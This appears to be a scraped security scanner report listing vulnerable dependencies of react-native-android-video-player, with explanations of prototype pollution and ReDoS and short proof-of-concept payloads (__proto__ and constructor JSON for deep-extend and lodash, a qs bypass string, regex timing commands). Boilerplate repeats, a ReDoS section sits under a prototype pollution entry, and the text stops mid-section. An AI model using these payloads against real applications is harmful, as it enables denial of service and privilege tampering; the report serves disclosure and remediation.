Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade merge
to version 2.1.0 or higher.
References
high severity
- Vulnerable module: negotiator
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › compression@1.5.2 › accepts@1.2.13 › negotiator@0.5.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › serve-index@1.7.3 › accepts@1.2.13 › negotiator@0.5.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
negotiator is an HTTP content negotiator for Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)
when parsing Accept-Language
http header.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade negotiator
to version 0.6.1 or higher.
References
high severity
- Vulnerable module: nth-check
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › html-wiring@1.2.0 › cheerio@0.19.0 › css-select@1.0.0 › nth-check@1.0.2
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when parsing crafted invalid CSS nth-checks, due to the sub-pattern \s*(?:([+-]?)\s*(\d+))?
in RE_NTH_ELEMENT
with quantified overlapping adjacency.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade nth-check
to version 2.0.1 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › qs@4.0.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › body-parser@1.13.3 › qs@4.0.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs
protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString()
, hasOwnProperty()
,etc.
From qs
documentation:
By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.
Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.
In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [
or ]
. e.g. qs.parse("]=toString")
will return {toString = true}
, as a result, calling toString()
on the object will throw an exception.
Example:
qs.parse('toString=foo', { allowPrototypes: false })
// {}
qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten
For more information, you can check out our blog.
Disclosure Timeline
- February 13th, 2017 - Reported the issue to package owner.
- February 13th, 2017 - Issue acknowledged by package owner.
- February 16th, 2017 - Partial fix released in versions
6.0.3
,6.1.1
,6.2.2
,6.3.1
. - March 6th, 2017 - Final fix released in versions
6.4.0
,6.3.2
,6.2.3
,6.1.2
and6.0.4
Remediation
Upgradeqs
to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.References
- GitHub Commit
- GitHub Issue
high severity
- Vulnerable module: trim-newlines
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › dateformat@1.0.12 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › github-username@2.1.0 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › pretty-bytes@2.0.1 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
trim-newlines is a Trim newlines from the start and/or end of a string
Affected versions of this package are vulnerable to Denial of Service (DoS) via the end()
method.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade trim-newlines
to version 3.0.1, 4.0.1 or higher.
References
high severity
- Vulnerable module: deep-extend
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › mem-fs-editor@2.3.0 › deep-extend@0.4.2Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
deep-extend is a library for Recursive object extending.
Affected versions of this package are vulnerable to Prototype Pollution. Utilities function in all the listed modules can be tricked into modifying the prototype of "Object" when the attacker control part of the structure passed to these function. This can let an attacker add or modify existing property that will exist on all object.
PoC by HoLyVieR
var merge = require('deep-extend');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade deep-extend
to version 0.5.1 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › html-wiring@1.2.0 › cheerio@0.19.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep
could be tricked into adding or modifying properties of Object.prototype
using a constructor
payload.
PoC by Snyk
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
For more information, check out our blog post
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.12 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › html-wiring@1.2.0 › cheerio@0.19.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the setWith
and set
functions.
PoC by awarau
- Create a JS file with this contents:
lod = require('lodash') lod.setWith({}, "__proto__[test]", "123") lod.set({}, "__proto__[test2]", "456") console.log(Object.prototype)
- Execute it with
node
- Observe that
test
andtest2
is now in theObject.prototype
.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.17 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › html-wiring@1.2.0 › cheerio@0.19.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The functions merge
, mergeWith
, and defaultsDeep
could be tricked into adding or modifying properties of Object.prototype
. This is due to an incomplete fix to CVE-2018-3721
.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
